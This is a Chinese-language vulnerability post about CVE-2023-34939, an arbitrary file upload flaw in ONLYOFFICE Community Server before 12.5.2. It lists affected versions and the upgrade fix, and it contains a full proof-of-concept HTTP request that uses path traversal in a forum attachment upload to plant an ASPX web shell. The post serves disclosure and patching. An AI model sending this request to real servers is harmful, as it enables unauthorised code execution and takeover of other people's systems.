Onlyoffice 是一款全能的开源写作办公套件。是由俄罗斯公司“新通信技术”的子公司Ascensio System SIA开发的免费软件办公套件和协作应用程序生态系统，总部位于拉脱维亚的里加。它具有在线文档编辑器，文档管理平台，企业沟通，邮件和项目管理工具。CVE-2023-34939，当ONLYOFFICE Community Server存在任意文件上传漏洞，当ONLYOFFICE Community Server的论坛存在讨论话题时，未经授权的攻击者可上传任意文件并导致任意代码执行，从而控制服务器。
ONLYOFFICE Community Server< 12.5.2
需要ONLYOFFICE Community Server的论坛模块存在讨论话题。
POST /UploadProgress.ashx?submit=ASC.Web.UserControls.Forum.ForumAttachmentUploadHanler,ASC.Web.Community&SettingsID=11111111-1111-1111-1111-111111111111&ThreadID=3&UserID=11111111-1111-1111-1111-111111111110 HTTP/1.1
Host: REDACTED
Content-Length: 121
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123
------WebKitFormBoundary123
Content-Disposition: form-data; name="files[]"; filename="../../../../../../../../../../../../../WebStudio/2023-34939.aspx"
Content-Type: application/asp
ASPX SHELL
------WebKitFormBoundary123--仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。
官方已发布新版本，升级至12.5.2
https://github.com/ONLYOFFICE/CommunityServer/releaseshttps://github.com/firsov/onlyoffice/tree/main作者：firsov如有侵权，请联系删除。
原文始发于微信公众号（Hacker文库）：OnlyOffice Community Server文件上传漏洞
